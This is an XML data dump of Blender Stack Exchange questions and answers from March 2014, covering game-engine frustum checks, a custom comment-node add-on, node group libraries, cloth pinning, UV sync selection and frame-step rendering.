  <row Id="7824" PostTypeId="1" CreationDate="2014-03-17T03:19:46.493" Score="1" ViewCount="181" Body="&lt;p&gt;I've been working with &lt;code&gt;bge&lt;/code&gt; and specifically the &lt;code&gt;KX_Camera&lt;/code&gt; class to check if points are within the viewing frustum, but even when points are clearly in the camera frustum, it returns false. I'm aware of the issue where the projection matrix of the &lt;code&gt;KX_Camera&lt;/code&gt; object are not updated on the first logic tick, so I had the associated Script Controller start with a delay of a few ticks. Even then, the points don't get detected correctly. Upon further inspection, the projection matrix doesn't seem to change. I've been beating my head against the wall trying to figure out why, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some more details about what I'm doing to give some more insight:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm not actually rendering anything with this code, I'm using bge and bpy to do some processing regarding points visible from certain poses in a model&lt;/li&gt;&#xA;&lt;li&gt;As the API states, I'm assuming the provided points are to be in the global coordinate system&lt;/li&gt;&#xA;&lt;li&gt;The delay in the Script Controller corresponds to logic ticks, as I've read from multiple places&lt;/li&gt;&#xA;&lt;li&gt;The camera frustum on the display is the same geometry/orientation/position as the the one on the 3D viewer&lt;/li&gt;&#xA;&lt;li&gt;The point (0,0,0) returns true, even though it is not in the camera frustum. The camera, as it is positioned now, is near the origin, but the frustum does not contain it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any help you can give.&lt;/p&gt;&#xA;" OwnerUserId="2468" LastEditorUserId="2468" LastEditDate="2014-03-17T17:51:35.207" LastActivityDate="2014-03-17T19:27:29.857" Title="pointInsideFrustum not working correctly" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7825" PostTypeId="1" AcceptedAnswerId="32842" CreationDate="2014-03-17T04:19:11.270" Score="17" ViewCount="8339" Body="&lt;p&gt;I'd like to have a node like the Frame node but one that can have lots of text, not just a header. I've looked and it looks like there isn't any such capability so far, so I was wondering how easy it would be for someone to create a custom Comment node as an add-on or script (I don't know the differences between the two). I myself would love to leave detailed comments in complex node trees so that I can figure out what I was doing/what to do when I come back to them months later.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2020-10-13T00:39:13.587" Title="Is there a way to make comments in the node editor?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;add-on&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7826" PostTypeId="1" AcceptedAnswerId="7829" CreationDate="2014-03-17T04:23:48.053" Score="11" ViewCount="14611" Body="&lt;p&gt;I've found some neat combinations of nodes to create certain effects, so I'd like to make them a group and then have that node available on my list of available nodes, &lt;strong&gt;even when I reload the startup file&lt;/strong&gt;. How would I do that?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2021-05-09T20:26:50.607" Title="Can I make a custom node from a group and have that available in other projects?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7827" PostTypeId="1" CreationDate="2014-03-17T04:38:56.807" Score="0" ViewCount="28" Body="&lt;p&gt;I've seen scripts I'd like to use, but I'm unfamiliar with making system files like the .blend file visible in OS X and then editing them. So, is there an easy way to install them manually? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more ideally, is it easy for anyone else to make an addon for installing scripts? It seems like something that would be a great feature for Blender.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-17T04:38:56.807" Title="How do I install a python script in OS X 10.6.8?" Tags="&lt;customization&gt;&lt;add-on&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-03-17T07:38:17.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="7829" PostTypeId="2" ParentId="7826" CreationDate="2014-03-17T06:21:25.943" Score="14" Body="&lt;p&gt;You can save the startup .blend by clicking &lt;em&gt;File &amp;gt; Defaults &amp;gt; Save Startup File&lt;/em&gt;. This will save &lt;em&gt;everything&lt;/em&gt; (except for user preferences) to be loaded as the default state when Blender starts up. That includes all geometry, textures, brushes, node groups, UI layouts, the 3D view orientation, etc.&lt;/p&gt;&#xA;&lt;p&gt;I like to save my node groups in a separate &amp;quot;library&amp;quot; file and link/append them in, that way I don't accidentally lose them if I overwrite my startup file on accident (I've done that before..)&lt;/p&gt;&#xA;&lt;h1&gt;How to embed a node group in the startup file&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you haven't already, make a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;node group&lt;/a&gt; by selecting the nodes and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to ungroup).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qOR1b.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your startup file (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;a href=&quot;https://blender.stackexchange.com/q/81/599&quot;&gt;&lt;em&gt;File &amp;gt; Link&lt;/em&gt; or &lt;em&gt;File &amp;gt; Append&lt;/em&gt;&lt;/a&gt;. In the file manager which appears, navigate inside the file with the node group, select &lt;em&gt;NodeTree&lt;/em&gt; and then select the node group.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Linking&lt;/em&gt; means the node group is only stored in the &amp;quot;library file&amp;quot; and if you make any changes to it, those changes will carry over to your startup file (also, if the library file is deleted or moved, the node group will be missing in the startup file).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Appending&lt;/em&gt; copies the node group so it will always work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VAQ5q.png&quot; alt=&quot;click library file&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/PPiMz.png&quot; alt=&quot;click NodeTree&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/8z1Lr.png&quot; alt=&quot;click the node group you want&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;In the node editor, add the node group (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Groups &amp;gt; group name&lt;/em&gt;) and press &lt;a href=&quot;https://blender.stackexchange.com/a/2450/599&quot;&gt;the &lt;em&gt;&lt;code&gt;F&lt;/code&gt;&lt;/em&gt; icon (F for Fake User)&lt;/a&gt; on the node to &lt;em&gt;save the data block even if it has no users&lt;/em&gt;. This will ensure the node group is saved even if it is not used in any materials/node trees in that file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbGa4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the group node (&lt;kbd&gt;Del&lt;/kbd&gt;). Provided you enabled &lt;em&gt;Fake User&lt;/em&gt; by clicking the F icon, it will still be in the add menu even after reloading the file. Rearrange the UI how you want it to appear when you start blender.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the startup .blend (&lt;em&gt;File &amp;gt; Defaults &amp;gt; Save Startup File&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This procedure should be the same for all types of nodes (Composite, shader, etc.)&lt;/p&gt;&#xA;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2021-05-09T20:26:50.607" LastActivityDate="2021-05-09T20:26:50.607" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="7830" PostTypeId="2" ParentId="7826" CreationDate="2014-03-17T07:04:46.420" Score="6" Body="&lt;p&gt;I wouldn't recommend to add everything to the &lt;em&gt;Startup File&lt;/em&gt;. You could also create a node library (.blend file) to hold all your nodes and link and/or append groups from the library to your current project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accessible from the Info Header&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;File Link&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;O&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;File Append&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;F1&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A nice example library: &lt;a href=&quot;https://bwide.wordpress.com/node-groups/bwide-nodepack-for-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bwide-nodepack-for-blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the nodes within the .blend file in the folder NodeTree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9gpz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Video tutorial on &lt;a href=&quot;http://cgcookie.com/blender/2009/07/16/creating-a-reusable-node-library/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Reusable Node Library&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="241" LastEditDate="2015-10-06T15:38:07.920" LastActivityDate="2015-10-06T15:38:07.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7831" PostTypeId="1" AcceptedAnswerId="7841" CreationDate="2014-03-17T09:09:31.017" Score="3" ViewCount="2047" Body="&lt;p&gt;I have created a cape and pinned the vertices I wanted to stay stationery however when I go to animate it they unpin and repel themselves from the armor they are supposed to be near. I turned down the repel and collision distance down as far as possible and it still occurs. Any ideas?  &lt;/p&gt;&#xA;" OwnerUserId="2389" LastEditorUserId="2389" LastEditDate="2014-03-17T19:11:29.693" LastActivityDate="2015-12-11T07:56:33.807" Title="pinned vertices do no stay pinned when animating a cloth" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7832" PostTypeId="2" ParentId="7808" CreationDate="2014-03-17T11:08:01.803" Score="1" Body="&lt;p&gt;What I would do is give each person a status property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A89Ln.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sensor tests the status and while it is 0 have them play an idle action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYi1z.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/U9YU7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A message sensor then receives an evacuate message and sets the status to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNqb4.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/wogHK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the status is 1 play an evacuate action or use steering to seek the evacuation point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WPVh.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/s4qHI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-03-18T14:46:57.043" LastActivityDate="2014-03-18T14:46:57.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7833" PostTypeId="2" ParentId="7825" CreationDate="2014-03-17T12:00:42.330" Score="5" Body="&lt;p&gt;There's no support for text wrapping in Blender, so it's impossible to have a multi-line label or &lt;code&gt;StringProperty&lt;/code&gt;. But it's possible to have a collection of strings and draw them in a column inside of a custom node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9SoR.png&quot; alt=&quot;Comment Node Addon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Comment Node&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 67, 0),&#xA;    &quot;location&quot;: &quot;Node Editor &amp;gt; Add &amp;gt; Other Nodes &amp;gt; Comment&quot;,&#xA;    &quot;description&quot;: &quot;Add a node comment node (string property collection)&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Node&quot;}&#xA;&#xA;import bpy&#xA;from bpy.types import Node, Operator&#xA;from bpy.props import BoolProperty, IntProperty, CollectionProperty&#xA;&#xA;class NodeComment(Operator):&#xA;    bl_idname = &quot;node.comment&quot;&#xA;    bl_label = &quot;Node Comment&quot;&#xA;&#xA;    index = IntProperty(default=-1)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.area.type == 'NODE_EDITOR' and&#xA;                context.area.spaces[0].node_tree.nodes.active is not None and&#xA;                context.area.spaces[0].node_tree.nodes.active.bl_idname == CommentNode.bl_idname)&#xA;&#xA;    def execute(self, context):&#xA;        node = context.area.spaces[0].node_tree.nodes.active&#xA;        if self.index == -1:&#xA;            node.myCollProperty.add()&#xA;            node.myBoolProperty = True&#xA;        else:&#xA;            try:&#xA;                node.myCollProperty.remove(self.index)&#xA;            except IndexError:&#xA;                print(&quot;Invalid collection index&quot;)&#xA;                return {'CANCELLED'}&#xA;        return {'FINISHED'}&#xA;&#xA;# Derived from the Node base type.&#xA;class CommentNode(Node):&#xA;    # === Basics ===&#xA;    # Description string&#xA;    '''A comment node'''&#xA;    # Optional identifier string. If not explicitly defined, the python class name is used.&#xA;    bl_idname = 'CommentNodeType'&#xA;    # Label for nice name display&#xA;    bl_label = 'Comment Node'&#xA;    # Icon identifier&#xA;    bl_icon = 'GREASEPENCIL'&#xA;&#xA;    myBoolProperty = bpy.props.BoolProperty(name=&quot;Edit&quot;)&#xA;    myCollProperty = bpy.props.CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    def init(self, context):&#xA;        self.width = 300&#xA;&#xA;    # Copy function to initialize a copied node from an existing one.&#xA;    def copy(self, node):&#xA;        print(&quot;Copying from node &quot;, node)&#xA;&#xA;    # Free function to clean up on removal.&#xA;    def free(self):&#xA;        print(&quot;Removing node &quot;, self, &quot;, Goodbye!&quot;)&#xA;&#xA;    # Additional buttons displayed on the node.&#xA;    def draw_buttons(self, context, layout):&#xA;        #layout.label(&quot;Node settings&quot;)&#xA;&#xA;        row = layout.row(True)&#xA;        row.operator(NodeComment.bl_idname, text=&quot;Add&quot;, icon=&quot;ZOOMIN&quot;).index = -1&#xA;        row.prop(self, &quot;myBoolProperty&quot;, text=&quot;&quot;, icon=&quot;GREASEPENCIL&quot;)&#xA;&#xA;        col = layout.column(True)&#xA;&#xA;        if self.myBoolProperty:&#xA;            for i, line in enumerate(self.myCollProperty):&#xA;                row = col.row(True)&#xA;                row.prop(line, &quot;name&quot;, text=&quot;&quot;)&#xA;                row.operator(NodeComment.bl_idname, text=&quot;&quot;, icon=&quot;ZOOMOUT&quot;).index = i&#xA;        else:&#xA;            for line in self.myCollProperty:&#xA;                col.label(line.name)&#xA;&#xA;import nodeitems_utils&#xA;from nodeitems_utils import NodeCategory, NodeItem&#xA;&#xA;# our own base class with an appropriate poll function,&#xA;# so the categories only show up in our own tree type&#xA;class MyNodeCategory(NodeCategory):&#xA;    pass&#xA;&#xA;# all categories in a list&#xA;node_categories = [&#xA;    # identifier, label, items list&#xA;    MyNodeCategory(&quot;OTHERNODES&quot;, &quot;Other Nodes&quot;, items=[&#xA;        NodeItem(CommentNode.bl_idname, label=&quot;Comment&quot;),&#xA;        ]),&#xA;    ]&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(NodeComment)&#xA;    bpy.utils.register_class(CommentNode)&#xA;&#xA;    try:&#xA;        nodeitems_utils.register_node_categories(&quot;CUSTOM_NODES&quot;, node_categories)&#xA;    except:&#xA;        pass&#xA;&#xA;&#xA;def unregister():&#xA;    nodeitems_utils.unregister_node_categories(&quot;CUSTOM_NODES&quot;)&#xA;&#xA;    bpy.utils.register_class(NodeComment)&#xA;    bpy.utils.register_class(CommentNode)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-17T12:00:42.330" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7834" PostTypeId="1" AcceptedAnswerId="7837" CreationDate="2014-03-17T14:15:04.440" Score="0" ViewCount="195" Body="&lt;p&gt;I was trying to texture a car, but then I realized that some faces dont have their UV map applied.&#xA;I cant really explain what's happening. It looks like that there are two kinds of groups; when I select the entire model and apply a UV Map to it only one of the groups of faces actually uses it. The other stays with their current UV Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The car model: &lt;a href=&quot;https://docs.google.com/file/d/0Bz5XxZPILhgEc3h2NVk4QnZPalU/edit&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/file/d/0Bz5XxZPILhgEc3h2NVk4QnZPalU/edit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2814" LastActivityDate="2014-03-17T16:57:38.110" Title="UV Mapping behaves very weirdly" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7835" PostTypeId="2" ParentId="7825" CreationDate="2014-03-17T15:59:56.403" Score="8" Body="&lt;p&gt;Alternatively, if you want something quick and easy ..&lt;img src=&quot;https://i.stack.imgur.com/fmGoM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-03-17T15:59:56.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7837" PostTypeId="2" ParentId="7834" CreationDate="2014-03-17T16:57:38.110" Score="1" Body="&lt;p&gt;There is a mode in the UV Editor called &lt;em&gt;Sync Selection&lt;/em&gt;.  When &lt;em&gt;Sync Selection&lt;/em&gt; is enabled; selecting the entire model in the 3D Viewport will select everything in the UV Editor; &#xA;however! when Sync Selection is disabled this will not happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select everything when Sync is disabled you must first select everything in the 3D Viewport and then again in the UV Editor.  This mode allows you to work on UV coords independently but will often cause the problem you are describing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that everything is selected in the UV Editor and then reapply the texture.&lt;br&gt;&#xA;You might want to keep that little button activated all the time until you get used to it.&lt;img src=&quot;https://i.stack.imgur.com/YGA1d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-03-17T16:57:38.110" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7838" PostTypeId="1" AcceptedAnswerId="7840" CreationDate="2014-03-17T17:30:37.220" Score="5" ViewCount="570" Body="&lt;p&gt;In blender you can use shift when moving something, this will reduce the amount it is moved giving you finer control. Is there a way to make the shift drag slower than it already is?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-07-03T23:41:18.367" Title="How to make shift drag even slower?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7839" PostTypeId="2" ParentId="7816" CreationDate="2014-03-17T17:48:34.920" Score="7" Body="&lt;p&gt;I've attached an image that shows a model(in grey) and visualization(arrows and blue balls) for ray-casting to show how an ambient occlusion algorithm can be constructed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The little blue spheres indicate the current area that is being tested.  For each pixel of the texture map there would be one little blue sphere.  The red arrows that are shooting of the blue spheres represent ray-trace tests.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rays(red) are shot off in several directions from every pixel(blue), and for each ray that makes contact with the surface of the model; the pixel at that point will be darkened a little bit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically; areas that are concave will have lots of ray intersections with the model and areas that are convex will have very few hits and this gives a lighting cue that helps the model to look more 3D.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hold up your hand with your fingers together, you will see that the areas between your fingers are darker than the surrounding areas.  This is basically one of the things that AO, cavity, dirt mapping are all meant to simulate.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, they can be used to simulate dirt and corrosion that accumulates in recessed areas.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to calculate this effect and basically the author of the particular method in question gets to name it and this is why you will see different names like AO, Cavity Mapping, Dirt Mapping.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are all meant to give depth to a model, whether it be a lighting cue or dirt accumulation.  &lt;img src=&quot;https://i.stack.imgur.com/2kU7n.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:  Vertex Paint mode's &lt;em&gt;Dirty Vertex Colors&lt;/em&gt; is probably not ray-tracing.  It's likely a slope calculation which uses nearby vertices, if you want to know for sure then you'd have to look at the code or ask someone who has.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-03-17T17:48:34.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7840" PostTypeId="2" ParentId="7838" CreationDate="2014-03-17T18:29:23.567" Score="3" Body="&lt;p&gt;Yes, you can use &lt;kbd&gt;Alt&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; too. However, this only seems to work in a few places.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked in some number sliders, it didn't in others. It didn't work in any of the modal operators I tested&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-03T23:41:18.367" LastActivityDate="2014-07-03T23:41:18.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7841" PostTypeId="2" ParentId="7831" CreationDate="2014-03-17T18:50:30.610" Score="8" Body="&lt;p&gt;The cloth simulator actually uses &lt;em&gt;vertex weights&lt;/em&gt; (1 = pinned and 0 = unpinned).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your vertex group has been assigned with 0 weight, as can be seen by entering weight paint mode (blue = 0 weight):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oC3zD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reassign your vertex group with the weight slider on 1 (or paint some weights in weight paint mode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDWwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the vertex group will have a weight of 1 and should stay pinned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Paslc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the cloth modifiers physics settings enable pinning and select the cape vertex group.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="29" LastEditDate="2015-12-11T07:56:33.807" LastActivityDate="2015-12-11T07:56:33.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7842" PostTypeId="2" ParentId="7824" CreationDate="2014-03-17T19:27:29.857" Score="1" Body="&lt;p&gt;I may have fixed the problem. It seems that no matter how long you delay, it doesn't initialize until the first bit of code has been executed. I made a script controller that runs some dummy code to initialize on the first logic tick, and then delayed my main script by a few ticks and things work now.&lt;/p&gt;&#xA;" OwnerUserId="2468" LastActivityDate="2014-03-17T19:27:29.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7844" PostTypeId="1" AcceptedAnswerId="7858" CreationDate="2014-03-18T04:09:54.450" Score="1" ViewCount="699" Body="&lt;p&gt;I was looking at spirograph drawings and I was wondering if Blender has any way of extruding along such a path so that it could be turned into a mesh object. Here's a link to some spirograph pictures:&#xA;&lt;a href=&quot;https://www.google.com/search?q=spirograph&amp;amp;num=100&amp;amp;safe=off&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ei=_aonU9OiH8PlyAHgxYBw&amp;amp;ved=0CAoQ_AUoAg&amp;amp;biw=1076&amp;amp;bih=603&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=spirograph&amp;amp;num=100&amp;amp;safe=off&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ei=_aonU9OiH8PlyAHgxYBw&amp;amp;ved=0CAoQ_AUoAg&amp;amp;biw=1076&amp;amp;bih=603&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you would need to know the mathematical formula for the curve?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="6160" LastEditDate="2015-09-23T17:16:12.500" LastActivityDate="2015-09-23T17:16:12.500" Title="Is it possible to extrude along a curved path like those made by a spirograph?" Tags="&lt;modeling&gt;&lt;mathematics&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7845" PostTypeId="1" AcceptedAnswerId="7846" CreationDate="2014-03-18T08:57:27.713" Score="5" ViewCount="3150" Body="&lt;p&gt;I want to render every Nth frame of an animation, in this case every 12th frame. This way I can play back the animation at 2fps and see if everything is going correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a real novice with Blender Python and cobbled this together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for f in range(startframe,endframe,NthFrame):&#xA;    bpy.context.scene.frame_current = f&#xA;    bpy.ops.render.render()&#xA;    bpy.data.images['Render Result'].save_render(filepath=&quot;&quot; + str(f) + '.png') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This kind of works, the right images are rendered and saved. However it completely freezes up Blender, and after about an hour it crashes on windows due to being unresponsive I guess. How can I fix this? Preferably I'd like it to work like rendering an animation normally works, i.e. being able to still use Blender and seeing the progress of each rendered frame.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2020-01-15T21:40:29.710" Title="Render every Nth frame of an animation" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7846" PostTypeId="2" ParentId="7845" CreationDate="2014-03-18T09:00:07.327" Score="9" Body="&lt;p&gt;It's possible to do this without python by changing the &lt;em&gt;Frame step&lt;/em&gt; in &lt;em&gt;Render settings &gt; Dimensions &gt; Frame range&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ydWsP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-18T09:00:07.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
